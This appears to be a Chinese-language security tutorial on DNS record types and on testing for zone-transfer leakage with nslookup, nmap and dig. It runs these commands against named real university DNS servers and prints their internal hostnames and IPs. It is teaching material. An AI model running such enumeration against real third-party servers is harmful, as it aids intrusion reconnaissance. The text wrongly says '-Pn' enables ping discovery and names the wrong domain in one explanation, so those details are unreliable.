什么是DNS?
DNS (Domain Name System 的缩写)的作用非常简单,就是根据域名查出IP地址。你可以把它想象成一本巨大的电话本。
举例来说,如果你要访问域名math.stackexchange.com
,首先要通过DNS查出它的IP地址是151.101.129.69
。
DNS服务器使用的TCP/UDP端口号是53。
最常用的DNS记录有以下几类:
DNS | 类型 |
---|---|
A | IP地址记录,记录一个域名对应的IP地址 |
AAAA | IPv6 地址记录,记录一个域名对应的IPv6地址 |
CNAME | 别名记录,记录一个主机的别名 |
MX | 电子邮件交换记录,记录一个邮件域名对应的IP地址,如root@xxxx.com |
NS | 域名服务器记录 ,记录该域名由哪台域名服务器解析 |
PTR | 反向记录,也即从IP地址到域名的一条记录 |
TXT | 记录域名的相关文本信息 |
nslookup命令
Windows下的nslookup命令:
λ nslookup.exe ?
用法:
1 λ nslookup.exe ? 2 用法: 3 nslookup [-opt ...] # 使用默认服务器的交互模式 4 nslookup [-opt ...] - server # 使用 "server" 的交互模式 5 nslookup [-opt ...] host # 仅查找使用默认服务器的 "host" 6 nslookup [-opt ...] host server # 仅查找使用 "server" 的 "host"
交互式nslookup命令:
1 λ nslookup.exe 2 默认服务器: UnKnown 3 Address: 8.8.8.8 4 5 > help 6 命令: (标识符以大写表示,[] 表示可选) 7 NAME - 打印有关使用默认服务器的主机/域 NAME 的信息 8 NAME1 NAME2 - 同上,但将 NAME2 用作服务器 9 help or ? - 打印有关常用命令的信息 10 set OPTION - 设置选项 11 all - 打印选项、当前服务器和主机 12 [no]debug - 打印调试信息 13 [no]d2 - 打印详细的调试信息 14 [no]defname - 将域名附加到每个查询 15 [no]recurse - 询问查询的递归应答 16 [no]search - 使用域搜索列表 17 [no]vc - 始终使用虚拟电路 18 domain=NAME - 将默认域名设置为 NAME 19 srchlist=N1[/N2/.../N6] - 将域设置为 N1,并将搜索列表设置为 N1、N2 等 20 root=NAME - 将根服务器设置为 NAME 21 retry=X - 将重试次数设置为 X 22 timeout=X - 将初始超时间隔设置为 X 秒 23 type=X - 设置查询类型(如 A、AAAA、A+AAAA、ANY、CNAME、MX、 24 NS、PTR、SOA 和 SRV) 25 querytype=X - 与类型相同 26 class=X - 设置查询类(如 IN (Internet)和 ANY) 27 [no]msxfr - 使用 MS 快速区域传送 28 ixfrver=X - 用于 IXFR 传送请求的当前版本 29 server NAME - 将默认服务器设置为 NAME,使用当前默认服务器 30 lserver NAME - 将默认服务器设置为 NAME,使用初始服务器 31 root - 将当前默认服务器设置为根服务器 32 ls [opt] DOMAIN [> FILE] - 列出 DOMAIN 中的地址(可选: 输出到文件 FILE) 33 -a - 列出规范名称和别名 34 -d - 列出所有记录 35 -t TYPE - 列出给定 RFC 记录类型(例如 A、CNAME、MX、NS 和 PTR 等) 36 的记录 37 view FILE - 对 'ls' 输出文件排序,并使用 pg 查看 38 exit - 退出程序
1) 使用type参数可以设置记录类型。
2) 使用ls命令,可以列出一个域下面所有的域名。
查询DNS: nslookup -type=ns XX.com
查询邮件服务器: nslookup -type=mx XX.com
在交互式shell中发现一个DNS服务器的域传送漏洞的过程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
D:\>nslookup
默认服务器: public1.114dns.com
Address: 114.114.114.114
> server dns.nwpu.edu.cn
默认服务器: dns.nwpu.edu.cn
Address: 202.117.80.2
> ls nwpu.edu.cn
[dns.nwpu.edu.cn]
nwpu.edu.cn. NS server = dns.nwpu.edu.cn
nwpu.edu.cn. NS server = dns1.nwpu.edu.cn
nwpu.edu.cn. NS server = dns2.nwpu.edu.cn
nwpu.edu.cn. NS server = dns3.nwpu.edu.cn
* A 222.24.192.99
(... 省略大量的记录)
npunecas NS server = webcomp.npunecas.nwpu.edu.cn
webcomp.npunecas A 202.117.85.146
nwpu03 A 202.117.80.4
nwpudb2 A 222.24.210.149
poj A 192.168.0.248
portal A 61.150.43.10
portal1 A 222.24.192.31
portal2 A 222.24.192.32
rei A 202.117.85.10
saip NS server = saipserver.saip.nwpu.edu.cn
saipserver.saip A 202.117.85.72
test A 222.24.192.29
yzb A 202.117.85.3
zsb A 202.117.87.130
zygx A 202.117.80.9
|
操作基本的步骤是:
1) 输入nslookup命令进入交互式shell
2) Server 命令参数设定查询将要使用的DNS服务器
3) Ls命令列出某个域中的所有域名
4) Exit命令退出程序
以上示例了存在漏洞的DNS服务器,若是不存在漏洞的主机,则可能提示错误Query Refused:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
D:\>nslookup
默认服务器: public1.114dns.com
Address: 114.114.114.114
> server ns.pku.edu.cn
默认服务器: ns.pku.edu.cn
Address: 202.112.7.13
> ls pku.edu.cn
[ns.pku.edu.cn]
*** 无法列出域 pku.edu.cn: Query refused
DNS 服务器拒绝将区域 pku.edu.cn 传送到您的计算机。如果这不正确,
请检查 IP 地址 202.112.7.13 的 DNS 服务器上 pku.edu.cn 的
区域传送安全设置。
|
使用nmap扫描DNS域传送泄露漏洞
使用nmap扫描器附带的脚本,可以扫描DNS服务器是否存在域传送漏洞。语法为:
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=nwpu.edu.cn -p 53 -Pn dns.nwpu.edu.cn
上述命令命令说明如下:
- nmap –script dns-zone-transfer表示加载nmap文件夹下的脚本文件dns-zone-transfer.nse,扩展名.nse可省略
- –script-args dns-zone-transfer.domain=zonetransfer.me向脚本传递参数,设置列出记录的域是nwpu.edu.cn
- -p 53设置扫描53端口
- -Pn设置通过Ping发现主机是否存活
Dig命令
dig来测试DNS服务器是否存在域传送泄露。Dig是一个非常强大的DNS查询工具,输入“dig -h”查看它的使用说明
若将查询类型设定为axfr,就能得到域传送数据。这也是我们要用来测试DNS域传送泄露的命令:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
root@li377-156:~# dig @dns.nwpu.edu.cn axfr nwpu.edu.cn
; <<>> DiG 9.8.1-P1 <<>> @dns.nwpu.edu.cn axfr nwpu.edu.cn
; (1 server found)
;; global options: +cmd
nwpu.edu.cn. 86400 IN SOA dns1.nwpu.edu.cn. hxn.nwpu.edu.cn. 2014041801 21600 3600 604800 10800
nwpu.edu.cn. 86400 IN NS dns.nwpu.edu.cn.
nwpu.edu.cn. 86400 IN NS dns1.nwpu.edu.cn.
nwpu.edu.cn. 86400 IN NS dns2.nwpu.edu.cn.
nwpu.edu.cn. 86400 IN NS dns3.nwpu.edu.cn.
nwpu.edu.cn. 600 IN MX 5 nwpu03.nwpu.edu.cn.
nwpu.edu.cn. 600 IN MX 15 nwpu03.nwpu.edu.cn.
*.nwpu.edu.cn. 86400 IN A 222.24.192.99
aisheng.nwpu.edu.cn. 86400 IN CNAME www.nwpu.edu.cn.
amec.nwpu.edu.cn. 86400 IN NS netserver.amec.nwpu.edu.cn.
(省略大量的记录...)
nwpu.edu.cn. 86400 IN SOA dns1.nwpu.edu.cn. hxn.nwpu.edu.cn. 2014041801 21600 3600 604800 10800
;; Query time: 110 msec
;; SERVER: 202.117.80.2#53(202.117.80.2)
;; WHEN: Sun Apr 20 15:11:32 2014
;; XFR size: 188 records (messages 1, bytes 4021)
|
请注意,参数axfr后跟需要列出的域的名称。上面的例子是nwpu.edu.cn。只要命令输出中存在“XFR size”即代表该服务器存在漏洞。
参考资料: